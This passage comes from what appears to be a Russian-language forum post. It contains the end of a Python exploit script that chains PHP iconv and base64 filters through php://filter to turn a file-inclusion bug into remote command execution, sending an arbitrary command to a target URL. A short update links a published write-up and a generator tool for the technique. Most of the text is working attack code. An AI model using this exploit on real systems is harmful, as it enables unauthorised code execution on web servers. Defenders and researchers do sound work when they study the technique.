       '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
    }
    
    
    # generate some garbage base64
    filters = "convert.iconv.UTF8.CSISO2022KR|"
    filters += "convert.base64-encode|"
    # make sure to get rid of any equal signs in both the string we just generated and the rest of the file
    filters += "convert.iconv.UTF8.UTF7|"
    
    
    for c in base64_payload[::-1]:
           filters += conversions[c] + "|"
           # decode and reencode to get rid of everything that isn't valid base64
           filters += "convert.base64-decode|"
           filters += "convert.base64-encode|"
           # get rid of equal signs
           filters += "convert.iconv.UTF8.UTF7|"
    
    filters += "convert.base64-decode"
    
    final_payload = f"php://filter/{filters}/resource={file_to_use}"
    
    r = requests.get(url, params={
       "0": command,
       "action": "include",
       "file": final_payload
    })
    
    print(r.text)
    ```
    

    //UPD
    Подъехал усовершенствованный вариант эксплуатации https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html

    Тулза для генерации: https://github.com/synacktiv/php_filter_chain_generator
     
    #8 crlf, 20 Aug 2022
    Last edited: 6 Jan 2023